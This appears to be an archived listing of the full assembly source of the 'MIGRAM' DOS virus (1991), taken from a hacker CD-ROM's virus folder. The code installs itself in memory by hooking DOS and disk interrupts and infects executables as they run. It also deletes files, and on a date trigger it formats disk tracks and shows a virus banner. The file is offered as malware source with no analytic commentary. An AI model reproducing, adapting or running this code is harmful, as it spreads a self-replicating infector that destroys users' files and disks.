home *** CD-ROM | disk | FTP | other *** search
/ Hacker 2 / HACKER2.mdf / virus / it_pest.asm < prev    next >
Assembly Source File  |  1995-01-03  |  16KB  |  661 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MIGRAM                         ██
  7. ;██                                         ██
  8. ;██      Created:   2-Jan-80                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    5           Analysis Options on: H                 ██
  11. ;██      (C) 1991 IVL                                 ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    4Ch            ; (0000:004C=0D0h)
  16. data_3e        equ    84h            ; (0000:0084=0C7h)
  17. data_5e        equ    90h            ; (0000:0090=0BFh)
  18. data_7e        equ    102h            ; (0000:0102=0F000h)
  19. data_8e        equ    106h            ; (0000:0106=0F000h)
  20. data_9e        equ    47Bh            ; (0000:047B=14h)
  21. data_10e    equ    0            ; (0676:0000=0E8h)
  22. data_11e    equ    1            ; (0677:0001=3EC4h)
  23. data_12e    equ    2            ; (06C7:0002=0B8C3h)
  24. data_13e    equ    6            ; (06C7:0006=0F0EBh)
  25. data_35e    equ    0FCB6h            ; (7382:FCB6=0)
  26. data_36e    equ    0FCB8h            ; (7382:FCB8=0)
  27. data_37e    equ    0FCD4h            ; (7382:FCD4=0)
  28. data_38e    equ    0FCD6h            ; (7382:FCD6=0)
  29. data_39e    equ    0FCD8h            ; (7382:FCD8=0)
  30. data_40e    equ    0FCE2h            ; (7382:FCE2=0)
  31. data_41e    equ    0FCE4h            ; (7382:FCE4=0)
  32. data_42e    equ    0FCEAh            ; (7382:FCEA=0)
  33. data_43e    equ    0FCECh            ; (7382:FCEC=0)
  34. data_44e    equ    0            ; (F000:0000=0AA55h)
  35. data_45e    equ    2            ; (F000:0002=40h)
  36.   
  37. seg_a        segment    byte public
  38.         assume    cs:seg_a, ds:seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. migram        proc    far
  44.   
  45. start:
  46.         jmp    loc_22            ; (0449)
  47.         db    0C3h
  48.         db    23 dup (0C3h)
  49.         db    2Ah, 2Eh, 5Ah, 49h, 50h, 0
  50. data_17        dw    0C3C3h
  51. data_18        dw    0C3C3h
  52. data_19        db    0, 0
  53. data_20        dw    0
  54. data_21        dw    0
  55. data_22        dw    0
  56. data_23        dw    7382h
  57. data_24        dd    00000h
  58. data_25        dw    0
  59. data_26        dw    7382h
  60. data_27        dd    00000h
  61. data_28        dw    0
  62. data_29        dw    7382h
  63. data_30        db    0Ah, 0Dh, ' ╔════════════════════'
  64.         db    '╗', 0Ah, 0Dh, ' ║  MIGRAM VIRUS '
  65.         db    '1.0  ║', 0Ah, 0Dh, ' ║    (C) 19'
  66.         db    '91 IVL    ║', 0Ah, 0Dh, ' ╚═════'
  67.         db    '═══════════════╝', 0Ah, 0Dh, 0Ah
  68.         db    0Dh, '$'
  69.         db    3Dh, 4Dh, 4Bh, 75h, 9, 55h
  70.         db    8Bh, 0ECh, 83h, 66h, 6, 0FEh
  71.         db    5Dh, 0CFh, 80h, 0FCh, 4Bh, 74h
  72.         db    12h, 3Dh, 0, 3Dh, 74h, 0Dh
  73.         db    3Dh, 0, 6Ch, 75h, 5, 80h
  74.         db    0FBh, 0, 74h, 3
  75. loc_1:
  76.         jmp    loc_13            ; (0277)
  77. loc_2:
  78.         push    es
  79.         push    ds
  80.         push    di
  81.         push    si
  82.         push    bp
  83.         push    dx
  84.         push    cx
  85.         push    bx
  86.         push    ax
  87.         call    sub_6            ; (03CF)
  88.         call    sub_7            ; (040C)
  89.         cmp    ax,6C00h
  90.         jne    loc_3            ; Jump if not equal
  91.         mov    dx,si
  92. loc_3:
  93.         mov    cx,80h
  94.         mov    si,dx
  95.   
  96. locloop_4:
  97.         inc    si
  98.         mov    al,[si]
  99.         or    al,al            ; Zero ?
  100.         loopnz    locloop_4        ; Loop if zf=0, cx>0
  101.   
  102.         sub    si,2
  103.         cmp    word ptr [si],5049h
  104.         je    loc_7            ; Jump if equal
  105.         cmp    word ptr [si],4558h
  106.         je    loc_6            ; Jump if equal
  107. loc_5:
  108.         jmp    short loc_12        ; (026B)
  109.         db    90h
  110. loc_6:
  111.         cmp    word ptr [si-2],452Eh
  112.         je    loc_8            ; Jump if equal
  113.         jmp    short loc_5        ; (01FE)
  114. loc_7:
  115.         cmp    word ptr [si-2],5A2Eh
  116.         jne    loc_5            ; Jump if not equal
  117. loc_8:
  118.         mov    ax,3D02h
  119.         call    sub_5            ; (03C8)
  120.         jc    loc_12            ; Jump if carry Set
  121.         mov    bx,ax
  122.         mov    ax,5700h
  123.         call    sub_5            ; (03C8)
  124.         mov    cs:data_20,cx        ; (7382:0127=0)
  125.         mov    cs:data_21,dx        ; (7382:0129=0)
  126.         mov    ax,4200h
  127.         xor    cx,cx            ; Zero register
  128.         xor    dx,dx            ; Zero register
  129.         call    sub_5            ; (03C8)
  130.         push    cs
  131.         pop    ds
  132.         mov    dx,103h
  133.         mov    si,dx
  134.         mov    cx,18h
  135.         mov    ah,3Fh            ; '?'
  136.         call    sub_5            ; (03C8)
  137.         jc    loc_10            ; Jump if carry Set
  138.         cmp    word ptr [si],5A4Dh
  139.         jne    loc_9            ; Jump if not equal
  140.         call    sub_1            ; (027C)
  141.         jmp    short loc_10        ; (0254)
  142. loc_9:
  143.         call    sub_4            ; (03AA)
  144. loc_10:
  145.         jc    loc_11            ; Jump if carry Set
  146.         mov    ax,5701h
  147.         mov    cx,cs:data_20        ; (7382:0127=0)
  148.         mov    dx,cs:data_21        ; (7382:0129=0)
  149.         call    sub_5            ; (03C8)
  150. loc_11:
  151.         mov    ah,3Eh            ; '>'
  152.         call    sub_5            ; (03C8)
  153. loc_12:
  154.         call    sub_7            ; (040C)
  155.         pop    ax
  156.         pop    bx
  157.         pop    cx
  158.         pop    dx
  159.         pop    bp
  160.         pop    si
  161.         pop    di
  162.         pop    ds
  163.         pop    es
  164. loc_13:
  165.         jmp    cs:data_24        ; (7382:012F=0)
  166.   
  167. migram        endp
  168.   
  169. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  170. ;                   SUBROUTINE
  171. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  172.   
  173. sub_1        proc    near
  174.         mov    ah,2Ah            ; '*'
  175.         int    21h            ; DOS Services  ah=function 2Ah
  176.                         ;  get date, cx=year, dx=mon/day
  177.         cmp    al,6
  178.         je    loc_15            ; Jump if equal
  179.         jnz    loc_14            ; Jump if not zero
  180. loc_14:
  181.         mov    cx,[si+16h]
  182.         add    cx,[si+8]
  183.         mov    ax,10h
  184.         mul    cx            ; dx:ax = reg * ax
  185.         add    ax,[si+14h]
  186.         adc    dx,0
  187.         push    dx
  188.         push    ax
  189.         mov    ax,4202h
  190.         xor    cx,cx            ; Zero register
  191.         xor    dx,dx            ; Zero register
  192.         call    sub_5            ; (03C8)
  193.         cmp    dx,0
  194.         jne    loc_16            ; Jump if not equal
  195.         cmp    ax,4C3h
  196.         jae    loc_16            ; Jump if above or =
  197.         pop    ax
  198.         pop    dx
  199.         stc                ; Set carry flag
  200.         retn
  201. loc_15:
  202.         mov    ah,5
  203.         mov    ch,0
  204.         mov    cl,0
  205.         mov    dh,0
  206.         mov    dl,2
  207.         int    13h            ; Disk  dl=drive #: ah=func c5h
  208.                         ;  format track=ch or cylindr=cx
  209.         mov    ah,5
  210.         mov    ch,0
  211.         mov    cl,1
  212.         mov    dh,0
  213.         mov    dl,2
  214.         int    13h            ; Disk  dl=drive #: ah=func c5h
  215.                         ;  format track=ch or cylindr=cx
  216.         mov    ah,5
  217.         mov    ch,0
  218.         mov    cl,2
  219.         mov    dh,0
  220.         mov    dl,2
  221.         int    13h            ; Disk  dl=drive #: ah=func c5h
  222.                         ;  format track=ch or cylindr=cx
  223.         mov    ah,5
  224.         mov    ch,0
  225.         mov    cl,3
  226.         mov    dh,0
  227.         mov    dl,2
  228.         int    13h            ; Disk  dl=drive #: ah=func c5h
  229.                         ;  format track=ch or cylindr=cx
  230.         mov    ah,5
  231.         mov    ch,0
  232.         mov    cl,4
  233.         mov    dh,0
  234.         mov    dl,2
  235.         int    13h            ; Disk  dl=drive #: ah=func c5h
  236.                         ;  format track=ch or cylindr=cx
  237.         mov    ah,5
  238.         mov    ch,0
  239.         mov    cl,5
  240.         mov    dh,0
  241.         mov    dl,2
  242.         int    13h            ; Disk  dl=drive #: ah=func c5h
  243.                         ;  format track=ch or cylindr=cx
  244.         mov    dx,offset data_30    ; (7382:013F=0Ah)
  245.         mov    ah,9
  246.         int    21h            ; DOS Services  ah=function 09h
  247.                         ;  display char string at ds:dx
  248.         call    sub_9            ; (043A)
  249.         int    20h            ; Program Terminate
  250. loc_16:
  251.         mov    di,ax
  252.         mov    bp,dx
  253.         pop    cx
  254.         sub    ax,cx
  255.         pop    cx
  256.         sbb    dx,cx
  257.         cmp    word ptr [si+0Ch],0
  258.         je    loc_ret_19        ; Jump if equal
  259.         cmp    dx,0
  260.         jne    loc_17            ; Jump if not equal
  261.         cmp    ax,4C3h
  262.         jne    loc_17            ; Jump if not equal
  263.         stc                ; Set carry flag
  264.         retn
  265. loc_17:
  266.         mov    dx,bp
  267.         mov    ax,di
  268.         push    dx
  269.         push    ax
  270.         add    ax,4C3h
  271.         adc    dx,0
  272.         mov    cx,200h
  273.         div    cx            ; ax,dx rem=dx:ax/reg
  274.         les    di,dword ptr [si+2]    ; Load 32 bit ptr
  275.         mov    cs:data_22,di        ; (7382:012B=0)
  276.         mov    cs:data_23,es        ; (7382:012D=7382h)
  277.         mov    [si+2],dx
  278.         cmp    dx,0
  279.         je    loc_18            ; Jump if equal
  280.         inc    ax
  281. loc_18:
  282.         mov    [si+4],ax
  283.         pop    ax
  284.         pop    dx
  285.         call    sub_2            ; (038B)
  286.         sub    ax,[si+8]
  287.         les    di,dword ptr [si+14h]    ; Load 32 bit ptr
  288.         mov    data_17,di        ; (7382:0121=0C3C3h)
  289.         mov    data_18,es        ; (7382:0123=0C3C3h)
  290.         mov    [si+14h],dx
  291.         mov    [si+16h],ax
  292.         mov    word ptr data_19,ax    ; (7382:0125=0)
  293.         mov    ax,4202h
  294.         xor    cx,cx            ; Zero register
  295.         xor    dx,dx            ; Zero register
  296.         call    sub_5            ; (03C8)
  297.         call    sub_3            ; (039C)
  298.         jc    loc_ret_19        ; Jump if carry Set
  299.         mov    ax,4200h
  300.         xor    cx,cx            ; Zero register
  301.         xor    dx,dx            ; Zero register
  302.         call    sub_5            ; (03C8)
  303.         mov    ah,40h            ; '@'
  304.         mov    dx,si
  305.         mov    cx,18h
  306.         call    sub_5            ; (03C8)
  307.   
  308. loc_ret_19:
  309.         retn
  310. sub_1        endp
  311.   
  312.   
  313. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  314. ;                   SUBROUTINE
  315. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  316.   
  317. sub_2        proc    near
  318.         mov    cx,4
  319.         mov    di,ax
  320.         and    di,0Fh
  321.   
  322. locloop_20:
  323.         shr    dx,1            ; Shift w/zeros fill
  324.         rcr    ax,1            ; Rotate thru carry
  325.         loop    locloop_20        ; Loop if cx > 0
  326.   
  327.         mov    dx,di
  328.         retn
  329. sub_2        endp
  330.   
  331.   
  332. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  333. ;                   SUBROUTINE
  334. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  335.   
  336. sub_3        proc    near
  337.         mov    ah,40h            ; '@'
  338.         mov    cx,4C3h
  339.         mov    dx,100h
  340.         call    sub_6            ; (03CF)
  341.         jmp    short loc_21        ; (03C8)
  342.         db    90h
  343.   
  344. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  345.   
  346. sub_4:
  347.         mov    dx,10h
  348.         mov    ah,1Ah
  349.         int    21h            ; DOS Services  ah=function 1Ah
  350.                         ;  set DTA to ds:dx
  351.         mov    dx,11Bh
  352.         mov    cx,110Bh
  353.         mov    ah,4Eh            ; 'N'
  354.         int    21h            ; DOS Services  ah=function 4Eh
  355.                         ;  find 1st filenam match @ds:dx
  356.         mov    dx,2Eh
  357.         mov    ax,3D02h
  358.         int    21h            ; DOS Services  ah=function 3Dh
  359.                         ;  open file, al=mode,name@ds:dx
  360.         mov    ah,41h            ; 'A'
  361.         int    21h            ; DOS Services  ah=function 41h
  362.                         ;  delete file, name @ ds:dx
  363.         retn
  364. sub_3        endp
  365.   
  366.   
  367. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  368. ;                   SUBROUTINE
  369. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  370.   
  371. sub_5        proc    near
  372. loc_21:
  373.         pushf                ; Push flags
  374.         call    cs:data_24        ; (7382:012F=0)
  375.         retn
  376. sub_5        endp
  377.   
  378.   
  379. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  380. ;                   SUBROUTINE
  381. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  382.   
  383. sub_6        proc    near
  384.         push    ax
  385.         push    ds
  386.         push    es
  387.         xor    ax,ax            ; Zero register
  388.         push    ax
  389.         pop    ds
  390.         cli                ; Disable interrupts
  391.         les    ax,dword ptr ds:data_5e    ; (0000:0090=5BFh) Load 32 bit ptr
  392.         mov    cs:data_25,ax        ; (7382:0133=0)
  393.         mov    cs:data_26,es        ; (7382:0135=7382h)
  394.         mov    ax,431h
  395.         mov    ds:data_5e,ax        ; (0000:0090=5BFh)
  396.         mov    word ptr ds:data_5e+2,cs    ; (0000:0092=0EA3h)
  397.         les    ax,dword ptr ds:data_1e    ; (0000:004C=20D0h) Load 32 bit ptr
  398.         mov    cs:data_28,ax        ; (7382:013B=0)
  399.         mov    cs:data_29,es        ; (7382:013D=7382h)
  400.         les    ax,cs:data_27        ; (7382:0137=0) Load 32 bit ptr
  401.         mov    ds:data_1e,ax        ; (0000:004C=20D0h)
  402.         mov    word ptr ds:data_1e+2,es    ; (0000:004E=102Ch)
  403.         sti                ; Enable interrupts
  404.         pop    es
  405.         pop    ds
  406.         pop    ax
  407.         retn
  408. sub_6        endp
  409.   
  410.   
  411. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  412. ;                   SUBROUTINE
  413. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  414.   
  415. sub_7        proc    near
  416.         push    ax
  417.         push    ds
  418.         push    es
  419.         xor    ax,ax            ; Zero register
  420.         push    ax
  421.         pop    ds
  422.         cli                ; Disable interrupts
  423.         les    ax,dword ptr cs:data_25    ; (7382:0133=0) Load 32 bit ptr
  424.         mov    ds:data_5e,ax        ; (0000:0090=5BFh)
  425.         mov    word ptr ds:data_5e+2,es    ; (0000:0092=0EA3h)
  426.         les    ax,dword ptr cs:data_28    ; (7382:013B=0) Load 32 bit ptr
  427.         mov    ds:data_1e,ax        ; (0000:004C=20D0h)
  428.         mov    word ptr ds:data_1e+2,es    ; (0000:004E=102Ch)
  429.         sti                ; Enable interrupts
  430.         pop    es
  431.         pop    ds
  432.         pop    ax
  433.         retn
  434. sub_7        endp
  435.   
  436.         db    0B0h, 3, 0CFh
  437.   
  438. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  439. ;                   SUBROUTINE
  440. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  441.   
  442. sub_8        proc    near
  443.         mov    dx,10h
  444.         mul    dx            ; dx:ax = reg * ax
  445.         retn
  446. sub_8        endp
  447.   
  448.   
  449. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  450. ;                   SUBROUTINE
  451. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  452.   
  453. sub_9        proc    near
  454.         xor    ax,ax            ; Zero register
  455.         xor    bx,bx            ; Zero register
  456.         xor    cx,cx            ; Zero register
  457.         xor    dx,dx            ; Zero register
  458.         xor    si,si            ; Zero register
  459.         xor    di,di            ; Zero register
  460.         xor    bp,bp            ; Zero register
  461.         retn
  462. sub_9        endp
  463.   
  464. loc_22:
  465.         push    ds
  466.         call    sub_10            ; (044D)
  467.   
  468. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  469. ;                   SUBROUTINE
  470. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  471.   
  472. sub_10        proc    near
  473.         mov    ax,4B4Dh
  474.         int    21h            ; DOS Services  ah=function 4Bh
  475.                         ;  run progm @ds:dx, parm @es:bx
  476.         jc    loc_23            ; Jump if carry Set
  477.         jmp    loc_33            ; (057D)
  478. loc_23:
  479.         pop    si
  480.         push    si
  481.         mov    di,si
  482.         xor    ax,ax            ; Zero register
  483.         push    ax
  484.         pop    ds
  485.         les    ax,dword ptr ds:data_1e    ; (0000:004C=20D0h) Load 32 bit ptr
  486.         mov    cs:data_42e[si],ax    ; (7382:FCEA=0)
  487.         mov    cs:data_43e[si],es    ; (7382:FCEC=0)
  488.         les    bx,dword ptr ds:data_3e    ; (0000:0084=6C7h) Load 32 bit ptr
  489.         mov    cs:data_40e[di],bx    ; (7382:FCE2=0)
  490.         mov    cs:data_41e[di],es    ; (7382:FCE4=0)
  491.         mov    ax,ds:data_7e        ; (0000:0102=0F000h)
  492.         cmp    ax,0F000h
  493.         jne    loc_31            ; Jump if not equal
  494.         mov    dl,80h
  495.         mov    ax,ds:data_8e        ; (0000:0106=0F000h)
  496.         cmp    ax,0F000h
  497.         je    loc_24            ; Jump if equal
  498.         cmp    ah,0C8h
  499.         jb    loc_31            ; Jump if below
  500.         cmp    ah,0F4h
  501.         jae    loc_31            ; Jump if above or =
  502.         test    al,7Fh
  503.         jnz    loc_31            ; Jump if not zero
  504.         mov    ds,ax
  505.         cmp    word ptr ds:data_44e,0AA55h    ; (F000:0000=0AA55h)
  506.         jne    loc_31            ; Jump if not equal
  507.         mov    dl,ds:data_45e        ; (F000:0002=40h)
  508. loc_24:
  509.         mov    ds,ax
  510.         xor    dh,dh            ; Zero register
  511.         mov    cl,9
  512.         shl    dx,cl            ; Shift w/zeros fill
  513.         mov    cx,dx
  514.         xor    si,si            ; Zero register
  515.   
  516. locloop_25:
  517.         lodsw                ; String [si] to ax
  518.         cmp    ax,0FA80h
  519.         jne    loc_26            ; Jump if not equal
  520.         lodsw                ; String [si] to ax
  521.         cmp    ax,7380h
  522.         je    loc_27            ; Jump if equal
  523.         jnz    loc_28            ; Jump if not zero
  524. loc_26:
  525.         cmp    ax,0C2F6h
  526.         jne    loc_29            ; Jump if not equal
  527.         lodsw                ; String [si] to ax
  528.         cmp    ax,7580h
  529.         jne    loc_28            ; Jump if not equal
  530. loc_27:
  531.         inc    si
  532.         lodsw                ; String [si] to ax
  533.         cmp    ax,40CDh
  534.         je    loc_30            ; Jump if equal
  535.         sub    si,3
  536. loc_28:
  537.         dec    si
  538.         dec    si
  539. loc_29:
  540.         dec    si
  541.         loop    locloop_25        ; Loop if cx > 0
  542.   
  543.         jmp    short loc_31        ; (04EC)
  544. loc_30:
  545.         sub    si,7
  546.         mov    cs:data_42e[di],si    ; (7382:FCEA=0)
  547.         mov    cs:data_43e[di],ds    ; (7382:FCEC=0)
  548. loc_31:
  549.         mov    ah,62h            ; 'b'
  550.         int    21h            ; DOS Services  ah=function 62h
  551.                         ;  get progrm seg prefix addr bx
  552.         mov    es,bx
  553.         mov    ah,49h            ; 'I'
  554.         int    21h            ; DOS Services  ah=function 49h
  555.                         ;  release memory block, es=seg
  556.         mov    bx,0FFFFh
  557.         mov    ah,48h            ; 'H'
  558.         int    21h            ; DOS Services  ah=function 48h
  559.                         ;  allocate memory, bx=bytes/16
  560.         sub    bx,4Eh
  561.         nop
  562.         jc    loc_33            ; Jump if carry Set
  563.         mov    cx,es
  564.         stc                ; Set carry flag
  565.         adc    cx,bx
  566.         mov    ah,4Ah            ; 'J'
  567.         int    21h            ; DOS Services  ah=function 4Ah
  568.                         ;  change mem allocation, bx=siz
  569.         mov    bx,4Dh
  570.         stc                ; Set carry flag
  571.         sbb    es:data_12e,bx        ; (06C7:0002=0B8C3h)
  572.         push    es
  573.         mov    es,cx
  574.         mov    ah,4Ah            ; 'J'
  575.         int    21h            ; DOS Services  ah=function 4Ah
  576.                         ;  change mem allocation, bx=siz
  577.         mov    ax,es
  578.         dec    ax
  579.         mov    ds,ax
  580.         mov    word ptr ds:data_11e,8    ; (0677:0001=3EC4h)
  581.         call    sub_8            ; (0434)
  582.         mov    bx,ax
  583.         mov    cx,dx
  584.         pop    ds
  585.         mov    ax,ds
  586.         call    sub_8            ; (0434)
  587.         add    ax,ds:data_13e        ; (06C7:0006=0F0EBh)
  588.         adc    dx,0
  589.         sub    ax,bx
  590.         sbb    dx,cx
  591.         jc    loc_32            ; Jump if carry Set
  592.         sub    ds:data_13e,ax        ; (06C7:0006=0F0EBh)
  593. loc_32:
  594.         mov    si,di
  595.         xor    di,di            ; Zero register
  596.         push    cs
  597.         pop    ds
  598.         sub    si,34Dh
  599.         mov    cx,4C3h
  600.         inc    cx
  601.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  602.         mov    ah,62h            ; 'b'
  603.         int    21h            ; DOS Services  ah=function 62h
  604.                         ;  get progrm seg prefix addr bx
  605.         dec    bx
  606.         mov    ds,bx
  607.         mov    byte ptr ds:data_10e,5Ah    ; (0676:0000=0E8h) 'Z'
  608.         mov    dx,1A8h
  609.         xor    ax,ax            ; Zero register
  610.         push    ax
  611.         pop    ds
  612.         mov    ax,es
  613.         sub    ax,10h
  614.         mov    es,ax
  615.         cli                ; Disable interrupts
  616.         mov    ds:data_3e,dx        ; (0000:0084=6C7h)
  617.         mov    word ptr ds:data_3e+2,es    ; (0000:0086=102Ch)
  618.         sti                ; Enable interrupts
  619.         dec    byte ptr ds:data_9e    ; (0000:047B=14h)
  620. loc_33:
  621.         pop    si
  622.         cmp    word ptr cs:data_35e[si],5A4Dh    ; (7382:FCB6=0)
  623.         jne    loc_34            ; Jump if not equal
  624.         pop    ds
  625.         mov    ax,cs:data_39e[si]    ; (7382:FCD8=0)
  626.         mov    bx,cs:data_38e[si]    ; (7382:FCD6=0)
  627.         push    cs
  628.         pop    cx
  629.         sub    cx,ax
  630.         add    cx,bx
  631.         push    cx
  632.         push    word ptr cs:data_37e[si]    ; (7382:FCD4=0)
  633.         push    ds
  634.         pop    es
  635.         call    sub_9            ; (043A)
  636.         retf                ; Return far
  637. loc_34:
  638.         pop    ax
  639.         mov    ax,cs:data_35e[si]    ; (7382:FCB6=0)
  640.         mov    word ptr cs:[100h],ax    ; (7382:0100=46E9h)
  641.         mov    ax,cs:data_36e[si]    ; (7382:FCB8=0)
  642.         mov    word ptr cs:[102h],ax    ; (7382:0102=0C303h)
  643.         mov    ax,100h
  644.         push    ax
  645.         push    cs
  646.         pop    ds
  647.         push    ds
  648.         pop    es
  649.         call    sub_9            ; (043A)
  650.         retn
  651. sub_10        endp
  652.   
  653.   
  654. seg_a        ends
  655.   
  656.   
  657.   
  658.         end    start
  659.  
  660. Downloaded From P-80 International Information Systems 304-744-2253
  661.